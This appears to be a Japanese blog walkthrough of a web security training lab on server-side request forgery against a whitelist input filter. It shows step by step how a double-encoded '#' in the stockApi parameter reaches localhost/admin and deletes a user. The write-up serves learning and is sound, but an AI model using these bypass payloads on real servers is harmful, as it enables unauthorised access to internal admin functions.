Shikata Ga Nai

Private? There is no such things.

SSRF with whitelist-based input filterをやってみた

Hello there, ('ω')ノ

 

ホワイトリストベースの入力フィルターを備えたSSRFを。

 

f:id:ThisIsOne:20210215193905p:plain

 

インターセプトして、stockApiを確認してリピータへ。

 

f:id:ThisIsOne:20210215193845p:plain

 

まずは、stockApiを下記に変更するとレスポンスから受け入れられているようで。

つまり、URLパーサが埋め込み情報をサポートしているということで。

 http://username@stock.weliketoshop.net/

 

f:id:ThisIsOne:20210215194342p:plain

 

次に#を追加すると拒否されて。

 http://username#@stock.weliketoshop.net/

 

f:id:ThisIsOne:20210215194428p:plain

 

#をダブルエンコードして。

 

f:id:ThisIsOne:20210215194505p:plain

 

再度、#を置き換えてリクエストしてみると。

さきほどとは変わって、内部サーバエラーのレスポンスが。

 

f:id:ThisIsOne:20210215194556p:plain

 

よって、adminを追加して実行してみると管理者のページが。

 stockApi=http://localhost:80%25%32%33@stock.weliketoshop.net/admin

 

f:id:ThisIsOne:20210215201249p:plain

 

インターセプトにもどって、stockApiのパラメータを変更してオフにして。

 

f:id:ThisIsOne:20210215201404p:plain

 

開発ツールで、Deleteのリンクを確認して。

 /admin/delete?username=carlos

 

f:id:ThisIsOne:20210215201543p:plain

 

下記のようにstockApiを変更して実行すると。

 stockApi=http://localhost:80%25%32%33@stock.weliketoshop.net/admin/delete?username=carlos

 

f:id:ThisIsOne:20210215195144p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210215195533p:plain

 

Best regards, (^^ゞ